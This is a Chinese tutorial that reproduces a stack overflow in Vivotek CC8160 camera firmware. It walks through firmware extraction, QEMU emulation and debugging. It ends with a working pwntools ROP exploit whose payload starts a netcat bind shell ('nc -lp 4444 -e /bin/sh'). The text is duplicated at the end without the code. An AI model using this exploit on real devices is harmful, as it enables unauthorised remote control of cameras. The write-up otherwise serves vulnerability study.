Vivotek CC8160 固件栈溢出漏洞复现
字数 1072 2025-08-22 12:23:25

Vivotek CC8160 固件栈溢出漏洞复现教程

一、漏洞概述

本教程将详细讲解Vivotek CC8160摄像头固件中存在的栈溢出漏洞的复现过程。该漏洞存在于HTTP服务的处理逻辑中,通过精心构造的HTTP请求可以触发栈溢出,进而实现远程代码执行。

二、环境准备

1. 固件获取与提取

  1. 下载固件:

    http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip
    
  2. 使用binwalk提取固件:

    binwalk -Me CC8160-VVTK-0113b.flash.pkg
    
  3. 提取后的文件位置:

    /_CC8160-VVTK-0113b.flash.pkg.extracted/_31.extracted/_rootfs.img.extracted/squashfs-root
    
  4. 确认架构信息:

    • 32位小端序
    • ARM架构

2. 漏洞分析

漏洞存在于HTTP请求处理中,关键代码如下:

v33 = strstr(haystack, "Content-Length");
v34 = strchr(v33, 10);  // 查找换行符\n(ASCII 10)
v35 = strchr(v33, 58);  // 查找冒号:(ASCII 58)
strncpy(dest, v35 + 1, v34 - (v35 + 1));

漏洞点:

  • haystack是可控的HTTP请求内容
  • v35v34都是从v33截取
  • strncpy操作可能导致dest缓冲区溢出

三、环境搭建

1. QEMU用户模式仿真

  1. 复制QEMU ARM仿真器:

    cp /usr/bin/qemu-arm-static .
    
  2. 尝试运行HTTP服务:

    sudo chroot . ./qemu-arm-static ./usr/sbin/httpd
    
  3. 解决boa.conf缺失问题:

    • 问题:Could not open boa.conf for reading
    • 解决方案:将etc/conf.d/boa/boa.conf文件复制到../mnt/flash/目录

2. 主机名解析问题修复

  1. 修改hosts文件:
    cat ./etc/hosts
    127.0.0.1 Network-Camera localhost DESKTOP-6B71JP4
    echo "192.168.100.2 DESKTOP-6B71JP4 localhost" > squashfs-root/etc/hosts
    

3. QEMU系统模式仿真环境搭建

  1. 下载必要文件:

    rm -rf vmlinuz-3.2.0-4-versatile
    rm -rf initrd.img-3.2.0-4-versatile
    wget https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile
    wget https://people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile
    
  2. 设置tap0网卡(net.sh):

    sudo ip tuntap add mode tap name tap0
    sudo ip link set tap0 up
    sudo sysctl -w net.ipv4.ip_forward=1
    sudo iptables -F
    sudo iptables -X
    sudo iptables -t nat -F
    sudo iptables -t nat -X
    sudo iptables -t mangle -F
    sudo iptables -t mangle -X
    sudo iptables -P INPUT ACCEPT
    sudo iptables -P FORWARD ACCEPT
    sudo iptables -P OUTPUT ACCEPT
    sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
    sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
    sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
    sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
    
  3. QEMU启动脚本(start.sh):

    sudo qemu-system-arm \
    -M versatilepb \
    -kernel vmlinuz-3.2.0-4-versatile \
    -initrd initrd.img-3.2.0-4-versatile \
    -hda debian_wheezy_armel_standard.qcow2 \
    -append "root=/dev/sda1" \
    -net nic -net tap,ifname=tap0,script=no,downscript=no \
    -nographic
    
  4. 设置QEMU虚拟机网络:

    ifconfig eth0 192.168.100.2 netmask 255.255.255.0
    route add default gw 192.168.100.254
    
  5. 传输文件到QEMU虚拟机:

    sudo scp -r squashfs-root/ root@192.168.100.2:/root
    
  6. 启动服务:

    chmod -R 777 squashfs-root/
    chroot ./squashfs-root/ /bin/sh
    ./usr/sbin/httpd
    

四、漏洞验证与利用

1. 基本POC验证

echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | netcat -v 192.168.100.2 80

2. 调试环境设置

  1. 在QEMU虚拟机中启动gdbserver:

    ./gdbserver.armel --attach 192.168.100.254:1234 2327
    
  2. 使用gdb-multiarch进行远程连接:

    gdb-multiarch
    target remote 192.168.100.254:1234
    

3. 漏洞利用分析

  1. 计算溢出大小:

    • 通过调试确认溢出大小为52字节
  2. 关键返回地址:

    • 0x18398位置发生ret返回
    • ARM架构通过pop指令给pc赋值
  3. ROP链构造要点:

    • ARM架构函数调用约定:前4个参数保存在R0~R3
    • 需要将R0设置为反弹shell指令的地址
    • 使用pop {r1, pc} + mov r0, r1组合

4. 完整利用代码

#!/usr/bin/python3
from pwn import *
import requests

p=remote('192.168.100.2',80)
libc=ELF('./lib/libc.so.0')
context.log_level='debug'

libc_base=0xb6f2d000
pop_r1=0x00048784+libc_base
mov_r0_r1=0x00016aa4+libc_base
system=libc_base+libc.sym['system']
stack = 0xbeffeb64
amd='aaaaaa'

head = b"POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"
payload = b'b'*(0x00003c-8)+p32(pop_r1)+p32(stack)+p32(mov_r0_r1)+b'b'*8+p32(system)
end = b'nc -lp 4444 -e /bin/sh;'+b'\r\n\r\n'

p.sendline(head+payload+end)

5. 利用效果

执行成功后,目标设备会开启4444端口,可以通过nc连接获取shell:

nc 192.168.100.2 4444

五、总结

本教程详细介绍了Vivotek CC8160摄像头固件中栈溢出漏洞的复现过程,包括:

  1. 固件提取与分析
  2. QEMU仿真环境搭建
  3. 漏洞验证与调试
  4. ROP链构造与利用

关键点:

  • ARM架构下的ROP构造与x86有所不同
  • 需要正确处理函数调用约定和寄存器使用
  • 环境搭建中的网络配置和文件系统修复是关键

六、参考文献

  1. ARM pwn入门
  2. Vivotek摄像头栈溢出漏洞复现
Vivotek CC8160 固件栈溢出漏洞复现教程 一、漏洞概述 本教程将详细讲解Vivotek CC8160摄像头固件中存在的栈溢出漏洞的复现过程。该漏洞存在于HTTP服务的处理逻辑中,通过精心构造的HTTP请求可以触发栈溢出,进而实现远程代码执行。 二、环境准备 1. 固件获取与提取 下载固件: 使用binwalk提取固件: 提取后的文件位置: 确认架构信息: 32位小端序 ARM架构 2. 漏洞分析 漏洞存在于HTTP请求处理中,关键代码如下: 漏洞点: haystack 是可控的HTTP请求内容 v35 和 v34 都是从 v33 截取 strncpy 操作可能导致 dest 缓冲区溢出 三、环境搭建 1. QEMU用户模式仿真 复制QEMU ARM仿真器: 尝试运行HTTP服务: 解决 boa.conf 缺失问题: 问题: Could not open boa.conf for reading 解决方案:将 etc/conf.d/boa/boa.conf 文件复制到 ../mnt/flash/ 目录 2. 主机名解析问题修复 修改hosts文件: 3. QEMU系统模式仿真环境搭建 下载必要文件: 设置tap0网卡(net.sh): QEMU启动脚本(start.sh): 设置QEMU虚拟机网络: 传输文件到QEMU虚拟机: 启动服务: 四、漏洞验证与利用 1. 基本POC验证 2. 调试环境设置 在QEMU虚拟机中启动gdbserver: 使用gdb-multiarch进行远程连接: 3. 漏洞利用分析 计算溢出大小: 通过调试确认溢出大小为52字节 关键返回地址: 在 0x18398 位置发生ret返回 ARM架构通过pop指令给pc赋值 ROP链构造要点: ARM架构函数调用约定:前4个参数保存在R0~R3 需要将R0设置为反弹shell指令的地址 使用 pop {r1, pc} + mov r0, r1 组合 4. 完整利用代码 5. 利用效果 执行成功后,目标设备会开启4444端口,可以通过nc连接获取shell: 五、总结 本教程详细介绍了Vivotek CC8160摄像头固件中栈溢出漏洞的复现过程,包括: 固件提取与分析 QEMU仿真环境搭建 漏洞验证与调试 ROP链构造与利用 关键点: ARM架构下的ROP构造与x86有所不同 需要正确处理函数调用约定和寄存器使用 环境搭建中的网络配置和文件系统修复是关键 六、参考文献 ARM pwn入门 Vivotek摄像头栈溢出漏洞复现